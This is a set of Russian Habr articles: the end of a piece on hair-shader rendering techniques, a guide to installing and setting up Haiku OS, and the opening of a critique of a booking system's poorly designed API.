Для создания статичного блика мы использовали технологию текстурирования [Matcap](https://learn.foundry.com/modo/901/content/help/pages/shading_lighting/shader_items/matcap.html) — имитацию материала и окружения с помощью всего одного изображения.
Источник изображения Matcap ShaderЭта технология позволяет натягивать предзапеченное в текстуре освещение на 3D-модель для имитации освещения (теней, бликов, оттенков и т. д.). То есть мы могли наложить поверх текстуры волос нарисованный блик так, как нам удобно. Форму блика можно настраивать, но он никак не будет реагировать на смену освещения.
Визуальная разница между анизотропным и фейковым бликами:
Анизотропный бликMatcap-бликРазница в шейдерном коде при обработке анизотропного и фейкового бликов:
| | |
| --- | --- |
| Anisotrophic | Matcap |
| fixed4 frag (v2f i) : SV\_Target { float3 specular; float3 binormal = normalize (cross( i.normal, i.tangent.xyz )); float3 tangent = normalize(mul(unity\_ObjectToWorld, i.tangent)); float HdotN = dot(halfDir, i.normal); float VdotN = dot(i.viewDir, i.normal); float anX = dot(halfDir, binormal) / \_AnisotropicX; float anY = dot(halfDir, tangent) / 4; float diffuseSpecular = lerp(1.0, specTex.g, \_SpecularPower); specular = diffuseSpecular \*\_LightColor \* \_Specular \* \_SpecularColor \* exp (-2.0 \* (anX \* anX + anY + anY) / (1.0 + HdotN ));} | v2f vert (appdata v) { ... float3 worldNorm = UnityObjectToWorldNormal(v.normal); worldNorm = mul((float3x3)UNITY\_MATRIX\_V, worldNorm); o.matcapUV = worldNorm.xy \* 0.5 + 0.5; ... } fixed4 frag (v2f i) : SV\_Target { ... fixed specularMask = tex2D(\_MatcapTex, i.uv).g; ... } |
Визуальная разница между анизотропным и фейковым бликами в рамках сцены, где появлялась девушка, была слабо различима, да и угол, под которым ее видел игрок, менялся не сильно. Но первый вариант генерировал больше математических операций, поэтому мы выбрали второй.
Чтобы блик смотрелся органично и не создавал плоского эффекта, решили применить маску. Сначала мы пробовали вариант с картой нормали, но позже заменили ее менее тяжелой альфа-маской, которая давала похожий эффект.
Normal map mask / Alpha specular mask Применение альфа-маски в коде:
```
fixed specDetail = tex2D(_MatcapTex, i.uv).b;specDetail = pow(specDetail, _MatcapPow);matcapSpec = matcapSpec * specDetail;
```
### Анимация и цветокоррекция
За основу мы взяли обычную костную анимацию для прядей. А для создания дополнительной динамики решили использовать шевеление в вертексном шейдере.
Для цветовой коррекции применили запеченное освещение в виде коэффициентов, которое называется SHA, или [сферические гармоники](https://en.wikipedia.org/wiki/Spherical_harmonic_lighting). Такой метод рендеринга может создавать высокореалистичное затенение с относительно небольшими ресурсозатратами. Его основой служат предварительно рассчитанные коэффициенты, и он отлично подходит для рассеянного освещения от окружения (например, засветов от неба). Этот же принцип использовался не только для волос, но и для самой модели персонажа.
Исходники:
| | |
| --- | --- |
| Детализация геометрии | 2500 |
| Количество текстур | 3 |
| Разрешение текстуры 1 | 512x512 |
| Разрешение текстуры 2 | 256x256 |
| Разрешение текстуры 3 | 128x128 |
Шейдер:
| | |
| --- | --- |
| Количество проходов | 3 |
| Количество текстурных читок | 1 проход: 3 читки, 2 проход: 3 читки, 3 проход: 1 читка |
| Количество математических операций в вертексном шейдере | 1 проход: 54 math, 2 проход: 51 math, 3 проход: 13 math |
| Количество математических операций во фрагментном шейдере | 1 проход: 11 math, 2 проход: 17 math, 3 проход: 0 math |
В получившемся шейдере нет ничего революционного — техники, которые применялись для его создания, используются во многих других проектах. Но именно благодаря совокупности этих техник мы добились нужного результата. | https://habr.com/ru/post/553930/ | null | ru | null |
# Руководство по установке Haiku
Данная статья ознакомит читателя с вопросами установки и подготовки [Haiku](http://haiku-os.org/) к работе. Хотя на звание исчерпывающей она не претендует, охватить круг наиболее важных вопросов, так или иначе связанных с различными этапами знакомства с системой, я попытаюсь. Основным же материалом для углубленного изучения возможностей Haiku следует считать [руководство пользователя](http://www.haiku-os.org/docs/userguide/ru/contents.html), переведенное на множество языков, включая русский.
#### Установка системы
##### Проверка совместимости оборудования
Итак, вы решились испытать Haiku в действии. Разумеется, проще всего было бы запустить ее в какой-нибудь виртуальной машине, однако, настоятельно рекомендую не делать этого – вся прелесть Haiku ощущается исключительно на реальном железе.
Прежде всего, определим, существуют ли проблемы с запуском ОС на вашем оборудовании. Этому вопросу вот уже несколько лет посвящен специальный [раздел](http://haikuware.com/hardware/) HaikuWare (о самом сайте поговорим ниже).
По своему опыту скажу, что даже если вашего оборудования не оказалось в списке поддерживаемых, не стоит огорчаться. Во-первых, потому, что информация имеет свойство устаревать, а во-вторых, потому, что отсутствие полноценного драйвера в Haiku вовсе не значит, что устройство не будет работать (великолепная скорость работы в VESA тому подтверждение).
##### Получение образа
С момента выхода третьей альфа-версии прошел почти год, в краткосрочных планах разработчиков выпустить четвертую альфу, и переходить, наконец, к бета-стадии. Ну, а пока предлагаю использовать ночные сборки. По моим наблюдениям они достаточно стабильны, не говоря об исправленных за это время проблемах.
Поскольку целью проекта является воссоздание системы бинарно-совместимой с BeOS R5, одним из определяющих принципов является использование версии, собранной GCC2-компилятором, что с каждым годом все больше подвергается сомнению. И пусть разработчики настоятельно рекомендуют пользоваться так называемой gcc2hybrid-сборкой: вы вполне вольны выбрать для себя и GCC4-версию, ничем не уступающей “официальной”, кроме того, что в последней программы, созданные для BeOS вы не запустите.
Сами дистрибутивы распространяются в различных форматах:
* **Anyboot** – универсальный образ, готовый к записи на CD или usb-флешку, пригоден для работы с QEMU;
* **VMDK** – для работы с VMware и VirtualBox;
* **RAW** – устаревший формат представления Haiku, не содержащий внутри MBR и El Torito, но пригодный для копирования на раздел.
* **ISO** – не нуждается в представлении.
Остановим свой выбор на первом варианте.
##### Запись образа
Скачав и распаковав образ – файл *haiku-nightly-anyboot.image*, приступим к его записи. Для этого нам понадобится флеш-накопитель, размером не менее 1 Гб.
В случае, если у вас Linux/FreeBSD, образ можно записать, используя dd:
```
dd if=path/to/haiku-nightly-anyboot.image of=/dev/sdX bs=1M
```
где `/dev/sdX` – ваше устройство. Запись следует производить на все устройство целиком. В случае, если запись планируется производить на раздел жесткого диска, следует использовать raw-образ.
Если вы – пользователь Windows, вам поможет программа [flashnul](http://shounen.ru/soft/flashnul/), разработанная нашим соотечественником Георгием Шуклиным. Вначале следует определить номер физического диска, выполнив команду:
```
flashnul.exe -p
```
после чего можно приступать к непосредственно записи:
```
flashnul [номер_диска] -L haiku-nightly.image
```
##### Первая загрузка
Закончив с записью, перезагружаем компьютер, выбрав параметрах BIOS флеш-накопитель в качестве загрузочного диска. Если все прошло хорошо, вскоре появится экран загрузки. Иконки, загорающиеся по мере загрузки, несут не только декоративную функцию: по прогрессу их окрашивания можно судить о текущем этапе загрузки, что бывает полезно для диагностирования проблем. Эти иконки использовались для целей первичной диагностики еще во времена BeOS, откуда и перекочевали в Haiku, обновив свой внешний вид. А о самих этапах подробно написано в [руководстве пользователя](http://www.haiku-os.org/docs/userguide/ru/bootloader.html).
*Загрузочный экран Haku*
Вскоре на экране появляется курсор, происходит запуск [Tracker](http://www.haiku-os.org/docs/userguide/ru/tracker.html) и [Deskbar](http://www.haiku-os.org/docs/userguide/ru/deskbar.html) – аналогов Проводника и Панели задач в Windows: на этом этапе система загружена и уже готова к работе.
*Рабочий стол после загрузки системы*
Главное меню, располагающееся под первой кнопкой (с изображением листа), содержит список программ, приложений для рабочего стола, настроек и прочих привычных вещей, вроде выключения и перезагрузки. Для удобства условимся далее называть его “Leaf”.
К сожалению, не всегда первый старт оказывается удачным: при возникновении ошибки вы увидите привествие KDL (“Welcome to Kernel Debugging Land!”), или сообщение загрузчика:
```
no bootable volume is found
```
В этом случае вам придется указать особые параметры загрузки, воспользовавшись загрузочным меню, для вызова которого следует нажать несколько раз клавишу Shift в самом начале загрузки с диска.
*Загрузочное меню*
Загрузочное меню содержит четыре пункта:* *Select boot volume* (Выбор загрузочного раздела);
* *Select safe mode options* (Параметры загрузки);
* *Select debug options* (Параметры отладки);
* *Select fail-safe video mode* (Выбор графического режима);
Попробуйте изменить перечисленные ниже параметры (в пункте *Select safe mode options*), очень вероятно, что вам повезет:
* *Safe mode* – ограничивает старт некритичных серверов (серверами в Haiku называются системные процессы, отвечающие за графический интерфейс, сеть, звук, электронную почту и др.);
* *Use fail-safe video mode* – задает принудительное использование драйвера VESA;
* *Disable IO-APIC* – отключает [IO-APIC](http://ru.wikipedia.org/wiki/APIC), [ACPI](http://ru.wikipedia.org/wiki/ACPI), [MSI](http://ru.wikipedia.org/wiki/Message_Signaled_Interrupts) и [SMP](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5);
* *Disable local APIC*;
* *Don't call the BIOS* – запрещает ипользовать Plug-and-Play;
* *Disable ACPI* – отключает ACPI и SMP.
Для получения детальной информации о процессе загрузки советую включить отладочный режим с выводом на экран (*Enable on screen debug output*), отключив при этом постраничный вывод (*Disable on screen debug paging*).
Не стоит забывать о нескольких общих советах, которые могут вам помочь:* включить/выключить PnP в BIOS;
* отключить лишнюю периферию;
* переключить режим контроллера в IDE или AHCI;
* использовать другой носитель и/или другой формат дистрибутива.
Если же ничего из этого не способствуют загрузке Haiku и система стабильно выпадает в KDL, проинформируйте, пожалуйста, русскоязычное общество разработчиков — пользователей Haiku, где вам обязательно помогут (о нем – читайте ниже). Правда, кое-какую полезную информацию вы можете получить самостоятельно. В [руководстве](http://haiku-os.org/docs/welcome/ru/bugreports.html) по созданию отчета об ошибках дан развернутый ответ, как это сделать. А если желания разбираться в тонкостях KDL у вас нет — наберите reboot, чтобы его покинуть.
##### Установка Haiku на жесткий диск
Итак, система стартовала с USB-носителя, и настолько вам понравилась, что вы решили ее поставить на жесткий диск? Тогда вам предстоит выделить свободный раздел на диске, куда она будет установлена, если, конечно, вы не сделали этого раньше. Для комфортной работы следует выделить не менее 4 гигабайт, 400 Мб из которых займет установка чистой системы.
Сделать это можно любым удобным вам менеджером разделов, либо воспользоваться программой [DriveSetup](http://www.haiku-os.org/docs/userguide/ru/applications/drivesetup.html) – простой и удобной программой, входящей в состав самой ОС.
[Installer](http://www.haiku-os.org/docs/userguide/ru/applications/installer.html) – установщик Haiku, фактически, копирует системные и пользовательские файлы с одного раздела на другой. Представьте, насколько упрощается создание полноценной работоспособной копии ОС для ваших экспериментов или перенос настроенной системы на другой компьютер.
*Установщик Haiku*
Для определения всех параметров установщика достаточно одного окна: вы просто указываете откуда и куда производить установку, отмечаете, какие опциональные пакеты должны быть добавлены (правда, сейчас, на альфа-стадии, их нет, они появятся позже).
По завершению копирования файлов на раздел произведется автоматическая запись загрузочного сектора (не MBR!). По желанию пользователя, можно добавить загрузочное меню (меню *Tools->Set up boot menu*) для выбора текущего загрузочного раздела.
На этом установка завершена. Перезагружаемся (*Leaf->Shutdown->Restart System*) и извлекаем загрузочный носитель.
#### Настройка параметров системы
*Меню настроек параметров системы*
Сразу после загрузки можно приступать к настройке системы. Для удобства переключим локаль (*Leaf->Preferences->Locale*).
*Настройка локали*
На первой вкладке найдите желаемый язык среди доступных и перетащите его в правую часть, в верх списка. На следующей вкладке можно выбрать параметры форматирования чисел, времени, календарных названий и валюты.
Воздержитесь от локализации имен приложений и папок на третьей вкладке: пока еще это доставляет больше проблем, чем пользы.
Не помешает и включение виртуальной памяти (*Leaf->Preferences->VirtualMemory*).
Далее следует проверить, работает ли сетевое подключение. Открыв апплет настройки сети (*Leaf->Preferences->Network*), вы увидите, которые из сетевых адаптеров вашего компьютера определились системой. Доступные адаптеры конфигурируются с использованием DHCP, либо вручную – словом, ничего необычного. Для WiFi-адаптеров выводится список беспроводных сетей.
*Сетевые параметры*
Если ваш беспроводный адаптер не определился системой, но присутствует в [списке поддерживаемых](https://www.haiku-os.org/guides/daily-tasks/wireless#hardware-notes), выполните из терминала (*Leaf->Applications->Terminal*) скрипт установки прошивки:
```
install-wifi-firmwares.sh
```
и подтвердите условия лицензионного соглашения. Для некоторых адаптеров потребуется подключение к сети. Затем следует выполнить перезагрузку.
#### Установка программ
Закончив с начальными настройками, перейдем к установке необходимого минимума программ.
Наличие системы управления пакетами в современной ОС – первостепенная необходимость, и Haiku двигается в этом направлении: разработан собственный формат хранения пакетов – hpkg, пакеты “монтируются” поверх файловой системы. Теперь черед за разработкой графического интерфейса для менеджера пакетов.
Но пока все эти наработки не включены в образ, приходится пользоваться скриптом, автоматизирующим процесс скачивания и установки некоторого ПО, – installoptionalpackage. Это скрипт, который необходимо запускать из терминала (*Leaf->Applications->Terminal*, или Win+Alt+T на Рабочем столе). Для получения списка доступных программ введите:
```
installoptionalpackage -l
```
Для установки программы (или нескольких) введите ее имя (или имена через пробел, регистр не важен), например так:
```
installoptionalpackage WebPositive
```
Скрипт скачает программу и произведет установку в системе.
*Вывод installoptionalpackage*
С недавнего времени, благодаря усилиям Diger’a, существует [порт](http://code.google.com/p/hpkgsrc/) pkgsrc под Haiku, расширяется база готовых пакетов. Этот порт представляется наиболее интересной альтернативой пока еще не готовому менеджеру пакетов. Про его установку и настройку читайте на [wiki-страницах](http://code.google.com/p/hpkgsrc/w/list) проекта. А теперь можно перейти и к самим программам.
Браузер – едва ли не самая главная программа в системе. Среди доступных для установки пакетов их два: BeZilla и WebPositive.
BeZilla, фактически порт старой ветки Firefox (2.0), давно уже не обновляемый, однако стабильный и функциональный — плод тяжелого труда одного из отцов-основателей русскоязычного [сообщества пользователей BeOS](http://qube.ru/) – Сергея Долгова (SD). Чтобы установить его, выполните:
```
installoptionalpackage BeZillaBrowser
```
WebPositive – нативный браузер, основанный на WebKit, портированном, правда, около двух лет назад. Поддержка веб-стандартов у него заметно выше, однако стабильность работы оставляет желать лучшего. Хорошей новостью является то, что буквально на днях Haiku Inc. [наняли](http://haiku-os.org/news/2012-05-20_new_development_contractor) постоянного разработчика, который будет трудиться над свежим WebKit, и, если позволит время, займется самим WebPositive.
Установка браузера производится командой:
```
installoptionalpackage WebPositive
```
*WebPositive в действии*
Помимо браузеров BeZilla и WebPositive, существуют [сборки](http://haikuware.com/directory/view-details/development/app-installation/qupzilla-120) [Qupzilla](http://svalka.freenet59.ru/index.php?dir=admin%40freenet59.ru/haiku-os/&file=QupZilla.zip) (для запуска необходим Qt4), правда, скачиваются они отдельно.
Так уж сложилось еще со времен BeOS, что в системе не предусмотрен переключатель раскладок. Однако, проблему его отсутствия давно и успешно решает KeymapSwitcher, написанный Стасом Максимовым (Nexus), еще в эпоху BeOS, поддерживаемый и развиваемый теперь Сяржуком Жарским (Siarzhuk) (одним из разработчиков Haiku). Переключатель ставится через скрипт installioptionalpackage. Советую включить параметр *Activate shortcuts substitution* (Включить подмену горячих клавиш) в настройках.
Чтобы установить переключатель, выполните в терминале:
```
installoptionalpackage KeymapSwitcher
```
И, как стало известно из свежих новостей, John Scipione занимается разработкой системного переключателя раскладок, так что надуманные проблемы вроде [этой](http://www.linux.org.ru/forum/talks/7709883) вскоре останутся позади.
Если вы испытываете трудности с сетевым подключением, знайте, что все эти программы вы можете скачать самостоятельно по [этой](http://haiku-files.org/files/optional-packages/) ссылке.
С просмотром файлов формата PDF под Haiku успешно справляется программа BePDF, надо отметить, добротно сделанная. Установка производится так же из терминала:
```
installoptionalpackage BePDF
```
Довольно-таки давно совместными усилиями Евгения Абдраимова (Shade) и Герасима Троеглазова (3deyes\*\*) под Haiku был успешно портирован фреймворк Qt4. Сейчас доступна версия 4.8.1 (скачать ее можно [здесь](http://svalka.freenet59.ru/index.php?dir=admin%40freenet59.ru/haiku-os/&file=qt-lib-4.8.zip)). Вместе с ним у нас появились [qBittorrent](http://svalka.freenet59.ru/index.php?dir=admin%40freenet59.ru/haiku-os/&file=qBittorrent.zip), [Psi+](http://svalka.freenet59.ru/index.php?dir=admin%40freenet59.ru/haiku-os/&file=psi-plus-webkit.zip), [Eiskaltdc++](http://code.google.com/p/eiskaltdc/downloads/detail?name=EiskaltDC%2B%2B-2.2.5-gcc4.zip&can=2&q=) и много другого хорошего ПО. Порт близок к полному, хотя в нем не хватает поддержки Phonon и OpenGL. Несмотря на это, самостоятельная сборка большинства приложений не вызовет затруднений.
Обычно программы поставляются в виде zip-архива. Причем в архиве находится либо одна папка с файлами для извлечения в произвольное место (например, в /boot/apps/), либо несколько папок, уже распределенных по иерархии файловой системы (в таком случае извлечение из архива следует производить в корень /boot/).
##### Другие источники ПО
Сайт [HaikuWare](http://haikuware.com), о котором я упоминал в начале статьи, единственный крупнейший структурированный репозиторий программ под Haiku. Здесь можно найти множество старых программ, оставшихся еще со времен BeOS. Многие из них по-прежнему работоспособны. На [HaikuPorts](http://ports.haiku-files.org/) собраны как портированные версии программ из мира \*nix, так и обновленные программы из BeOS и Zeta. Большую часть инструментов разработчика можно найти именно там.
#### Некоторые полезные функции
##### Stack & Tile
Наверное, вы уже знаете, что желтые заголовки окон – табы, являются подобием вкладок. Удерживая клавишу Shift, их можно перемещать в пределах верхней границы окна, получив таким образом простой доступ к любому окну, перекрываемому другими окнами – иначе говоря, организовать рабочее пространство из окон-вкладок. Так было еще со времен BeOS. Разработчики Haiku продолжили развитие этой идеи, автоматизировав накладывание окон друг на друга: теперь, при перетаскивании одного заголовка на другой с нажатой клавишей Win, любые окна объединяются в единое мета-окно со вкладками. Этот метод называется *Stack*.
Таким же образом окна можно склеивать между собой, нажав все ту же клавишу Win и приблизив одну из границ окна к границе другого – так называемый *Tile*.
Посмотреть работу S&T в действии вы можете на [этом](http://www.youtube.com/watch?v=7MleAbU3AXs) видео.
Комбинации из окон, объединенных и совмещенных между собой таким образом, позволяют очень тонко настраивать рабочее пространство под нужды пользователя: так, например, окно файлового менеджера [Tracker](http://www.haiku-os.org/docs/userguide/ru/tracker.html), [Pe](http://www.haiku-os.org/docs/userguide/ru/applications/pe.html) – редактора исходного кода с подсветкой синтаксиса и [Terminal](http://www.haiku-os.org/docs/userguide/ru/applications/terminal.html) превращаются в единую IDE среду.
*Импровизированная IDE*
Дальнейшее развитие S&T будет направлено на “запоминание” позиций окон, их группировки – заниматься этим будет призван менеджер сессий.
##### Файловый менеджер
Вообще-то, весь функционал файлового менеджера детально [описан](http://www.haiku-os.org/docs/userguide/ru/tracker.html) в руководстве пользователя, но я все же упомяну о некотором важнейшем функционале Tracker и дам несколько советов по его настройке.
Удобнейшим методом навигации по файловой системе является ниспадающее контекстное меню. Представьте себе: из любого окна Tracker или рабочего стола вы можете перейти в любое другое место файловой системы всего двумя кликами.
*Гуляем по иерархии ФС*
Другим незаменимым инструментом является меню дополнений, также находящееся в контекстном меню. Среди установленных дополнений присутствуют такие важные как “Открыть окно терминала” (*Open Terminal*), “Сжатие папки” (*ZipОmatic*) или “Полнотекстовый поиск” (*Text Search*), которые применяются к той папке, из которой производится их вызов. Основным дополнениям соответствуют сочетания горячих клавиш, что позволяет еще больше ускорить работу с системой.
Теперь поговорим о настройках. По умолчанию каждую папку Tracker открывает в новом окне. Для меня, как и для многих других пользователей, это неудобно, поэтому первым делом я включаю однооконную навигацию (*Single window navigation*) и отображение полного пути в заголовке окна (*Show folder location in title tab*) в панели настроек Tracker (*Leaf->Preferences->Tracker*), вкладка Windows. Еще следует упомянуть о функции динамической фильтрации файлов по вводу с клавиатуры (*Type-ahead filtering*), скрывающей файлы, не содержащие в именах введенных последовательностей символов.
#### Будущее системы
К сожалению, трудно предугадать, какие изменения ждут Haiku в ближайшее время. Периодически разработчики переключаются между задачами, берут отпуска, занимаются исправлением ошибок и принимают участие в дебатах мейл-листа. Увы, счет задачам идет на сотни, в то время как активных разработчиков оказывается не больше десятка. Но и это не оставляет в нас надежды увидеть выход R1. Ниже я расскажу о задачах, внимание которым в настоящее время уделяется больше всего.
Как уже упоминалось ранее, к релизу Haiku R1 нас ждет собственный пакетный менеджер: по задумке разработчиков и программы, и сама ОС будут представлены в виде пакетов. При подключении такого пакета к системе, его содержимое прозрачно интегрируется в файловую систему, так, словно эти файлы были скопированы непосредственно на раздел. За счет сжатия пакетов, пользователь получит выигрыш в объеме занимаемых файлов. А добавление, удаление или временное отключение какого-либо пакета – фактически окажется парой-тройкой файловых операций.
Alexander fon Gluck (kalisti) активно занимается аппаратным видеоускорением, портируя Gallium3D и разрабатывая драйверы для видеокарт AMD. Результаты его работы уже заметны – общая поддержка видеокарт от AMD на высоте: реализована поддержка AtomBIOS, вывод на несколько мониторов. Кроме этого выполнено портирование свежего MESA под Haiku, а патчи внесены в официальное дерево.
Помимо работы над Gallium3D kalisti занят портированием Haiku на платформу Raspberry Pi.
С недавнего времени радуют [новости](http://haiku-os.org/blog/hamish/2012-05-24_openjdk_port_community_bonding_report) о прогрессе портирования Java2D/AWT: у пользователей появилась надежда увидеть Eclipse, запущенную под Haiku.
#### Сообщество
Разумеется, все относящееся к Haiku, да и к BeOS тоже, всегда имело свойство некоторой камерности, немассовости. Сообщество, состав которого был сформирован еще на пике популярности BeOS, меняется медленно, сохраняя в своих рядах самых преданных последователей, проникшихся изящными инновационными идеями творцов из Be, Inc. Нечасто эти ряды пополняются новыми участниками: конечно же, не всем мир Haiku приходится по душе. Но, уж, если система “зацепит”, то — надолго: люди, оставшиеся с Haiku, стараются сделать ее лучше, приняв посильное участие в ее развитии. К тому же, само общество заинтересовано в привлечении новых участников — поэтому здесь рады помочь любому новичку.
Если у вас есть трудности или предложения — присоединяйтесь.
Вопросы можно задать на русскоязычной jabber-конференции haiku-os@conference.jabber.ru где вам всегда помогут решить проблемы с системой, и даже написать баг-репорт на сайт разработчиков. А также общий англоязычный чат для всех небезразличных к Haiku располагается на IRC-сервере freenode.net (канал #haiku).
#### Вместо послесловия
Если среди проникшихся читателей найдутся желающие оказывать помощь Haiku: портировать софт или писать свой, истреблять баги или развивать функционал системы — [добро](https://www.haiku-os.org/development/getting-started) [пожаловать](https://www.haiku-os.org/development/getting-started)! И, вот вам еще ссылки на незаменимый [BeBook](http://haiku-os.org/legacy-docs/bebook/) (где описан весь BeAPI) и хороший [учебник](http://darkwyrm.beemulated.net/lessons.htm) программирования под Haiku от Darkwyrm. И удачи!
*Спасибо **Diger**, **Diver** и **Siarzhuk** за помощь в написании статьи!* | https://habr.com/ru/post/145325/ | null | ru | null |
# Рассказ о том, как не надо проектировать API
Однажды я помогал товарищу, которому нужно было интегрировать с сайтом его клиента данные о свободном и занятом жилье из системы управления имуществом. К моей радости у этой системы было API. Но, к сожалению, устроено оно было из рук вон плохо.
[](https://habr.com/ru/company/ruvds/blog/436888/)
Я решил написать эту статью не для того, чтобы раскритиковать ту систему, о которой пойдёт речь, а для того, чтобы рассказать о том, какие ошибки встречаются при разработке API, и предложить пути исправления этих ошибок.
Обзор ситуации
--------------
Организация, о которой идёт речь, использовала для управления жилыми помещениями систему [Beds24](http://beds24.com/). Сведения о том, что именно свободно, а что занято, синхронизировались с различными системами бронирования жилья (с такими, как Booking, AirBnB и другими). Организация занималась разработкой сайта и хотела, чтобы при поиске выводились лишь сведения о комнатах, свободных в указанный период времени и подходящих по вместимости. Подобная задача выглядела весьма простой, так как Beds24 предоставляет API для интеграции с другими системами. На самом же деле оказалось, что разработчики этого API допустили при его проектировании множество ошибок. Предлагаю разобрать эти ошибки, выявить конкретные проблемы и поговорить о том, как подходить к разработке API в рассматриваемых ситуациях.
Проблема №1: формат тела запроса
--------------------------------
Так как клиенту интересны только сведения о том, свободен ли, скажем, гостиничный номер, или занят, нас интересует лишь обращение к конечной точке API `/getAvailabilities`. И, хотя обращение к подобному API должно приводить к получению данных о доступности комнат, это обращение, на самом деле, выглядит как POST-запрос, так как автор API решил оснастить его возможностью принимать, в виде JSON-тела запроса, фильтры. Вот список возможных параметров запроса и примеры принимаемых ими значений:
```
{
"checkIn": "20151001",
"lastNight": "20151002",
"checkOut": "20151003",
"roomId": "12345",
"propId": "1234",
"ownerId": "123",
"numAdult": "2",
"numChild": "0",
"offerId": "1",
"voucherCode": "",
"referer": "",
"agent": "",
"ignoreAvail": false,
"propIds": [
1235,
1236
],
"roomIds": [
12347,
12348,
12349
]
}
```
Пройдёмся по этому JSON-объекту и поговорим о том, что здесь не так.
1. Даты (`checkIn`, `lastNight` и `checkOut`) представлены в формате `YYYYMMDD`. Тут нет абсолютно никакой причины для того, чтобы не использовать стандартный формат [ISO 8601](https://www.cl.cam.ac.uk/~mgk25/iso-time.html) (`YYYY-MM-DD`) при преобразовании дат в строки, так как это — широко применяемый стандарт представления дат. Он знаком многим разработчикам, именно его ожидают получить на вход многие JSON-парсеры. Кроме того, возникает ощущение, что поле `lastNight` является избыточным, так как тут имеется поле `checkOut`, которое всегда представлено датой, на один день опережающей дату, заданную в `lastNight`. В связи с отмеченными выше недостатками предлагаю, при проектировании подобных API, стремиться к тому, чтобы всегда использовать стандартные способы представления дат и стараться не обременять пользователей API необходимостью работы с избыточными данными.
2. Все поля-идентификаторы, а также поля `numAdult` и `numChild`, являются числовыми, но представлены в виде строк. В данном случае для представления их в виде строк нет никакой видимой причины.
3. Здесь можно заметить следующие пары полей: `roomId` и `roomIds`, а так же `propId` и `propIds`. Наличие полей `roomId` и `propId` является избыточным, так как и то и другое можно использовать для передачи идентификаторов. Кроме того, тут можно заметить проблему с типами. Обратите внимание на то, что поле `roomId` является строковым, а в массиве `roomIds` нужно использовать числовые значения идентификаторов. Это может привести к путанице, к проблемами с парсингом, и, кроме того, говорит о том, что на сервере некоторые операции выполняются со строками, а некоторые с числами, несмотря на то, что эти строки и числа используются для представления одних и тех же данных.
Мне хотелось бы предложить разработчикам API стараться не усложнять жизнь тем, кто этими API будет пользоваться, допуская при проектировании API ошибки, подобные вышеописанным. А именно, стоит стремиться к стандартному форматированию данных, к тому, чтобы они не были бы избыточными, к тому, чтобы для представления однородных сущностей не использовались бы разные типы данных. И не стоит всё, без разбора, представлять в виде строк.
Проблема №2: формат тела ответа
-------------------------------
Как уже было сказано, нам интересна лишь конечная точка API `/getAvailabilities`. Давайте посмотрим на то, как выглядит ответ этой конечной точки, и поговорим о том, какие недочёты допущены при его формировании. Помните о том, что нас, при обращении к API, интересует список идентификаторов объектов, свободных в заданный период времени и способных вместить заданное количество людей. Ниже приведён пример тела запроса к API и пример того, что оно выдаёт в ответ на этот запрос.
Вот запрос:
```
{
"checkIn": "20190501",
"checkOut": "20190503",
"ownerId": "25748",
"numAdult": "2",
"numChild": "0"
}
```
Вот ответ:
```
{
"10328": {
"roomId": "10328",
"propId": "4478",
"roomsavail": "0"
},
"13219": {
"roomId": "13219",
"propId": "5729",
"roomsavail": "0"
},
"14900": {
"roomId": "14900",
"propId": "6779",
"roomsavail": 1
},
"checkIn": "20190501",
"lastNight": "20190502",
"checkOut": "20190503",
"ownerId": 25748,
"numAdult": 2
}
```
Поговорим о проблемах ответа.
1. В теле ответа свойства `ownerId` и `numAdult` внезапно стали числами. А в запросе нужно было указывать их в виде строк.
2. Список объектов недвижимости представлен в виде свойств объекта, ключами которых являются идентификаторы комнат (`roomId`). Логично было бы ожидать того, что подобные данные выводились бы в виде массива. Для нас это означает, что для того чтобы получить список доступных комнат, нужно перебрать весь объект, проверяя при этом наличие у вложенных в него объектов определённых свойств, вроде `roomsavail`, и не обращая внимания на что-то вроде `checkIn` и `lastNight`. Затем нужно было бы проверить значение свойства `roomsavail`, и, если оно больше 0, можно было бы сделать вывод о том, что соответствующий объект доступен для бронирования. А теперь давайте присмотримся к свойству `roomsavail`. Вот какие варианты его представления встречаются в теле ответа: `"roomsavail": "0"` и `"roomsavail": 1`. Видите закономерность? Если комнаты заняты — значение свойства представлено строкой. Если свободны — оно превращается в число. Это способно привести к множеству проблем в языках, строго относящихся к типам данных, так как в них одно и то же свойство не должно принимать значения разных типов. В связи с вышесказанным мне хотелось бы предложить разработчикам использовать массивы JSON-объектов для представления неких наборов данных, а не применять для этой цели неудобные конструкции в виде пар ключ-значение, подобные той, что мы тут рассматриваем. Кроме того, нужно следить за тем, чтобы поля однородных объектов не содержали бы данные разных типов. Правильно отформатированный ответ сервера мог бы выглядеть так, как показано ниже. Обратите внимание и на то, что при представлении данных в таком виде сведения о комнатах не содержат дублирующихся данных.
```
{
"properties": [
{
"id": 4478,
"rooms": [
{
"id": 12328,
"available": false
}
]
},
{
"id": 5729,
"rooms": [
{
"id": 13219,
"available": false
}
]
},
{
"id": 6779,
"rooms": [
{
"id": 14900,
"available": true
}
]
}
],
"checkIn": "2019-05-01",
"lastNight": "2019-05-02",
"checkOut": "2019-05-03",
"ownerId": 25748,
"numAdult": 2
}
```
Проблема №3: обработка ошибок
-----------------------------
Вот как организована обработка ошибок в рассматриваемом здесь API: на все запросы система отправляет ответы с кодом `200` — даже в том случае, если произошла ошибка. Это означает, что единственный способ отличить нормальный ответ от ответа с сообщением об ошибке заключается в разборе тела ответа и в проверке наличия в нём полей `error` или `errorCode`. В API предусмотрены лишь следующие 6 кодов ошибок.
*Коды ошибок API Beds24*
Предлагаю всем, кто это читает, постараться не возвращать ответ с кодом 200 (успешная обработка запроса) в том случае, если при обработке запроса что-то пошло не так. Пойти на такой шаг можно лишь в том случае, если это предусмотрено фреймворком, на базе которого вы разрабатываете API. Возврат адекватных кодов ответов позволяет клиентам API заранее знать о том, нужно ли им парсить тело ответа или нет, и о том, как именно это делать (то есть — разбирать ли обычный ответ сервера или объект ошибки).
В нашем случае улучшить API в этом направлении можно двумя способами: можно либо предусмотреть особый HTTP-код в диапазоне 400-499 для каждой из 6 возможных ошибок (лучше всего поступить именно так), либо возвращать, при возникновении ошибки, код 500, что позволит клиенту, по меньшей мере, знать перед разбором тела ответа о том, что оно содержит сведения об ошибке.
Проблема №4: «инструкции»
-------------------------
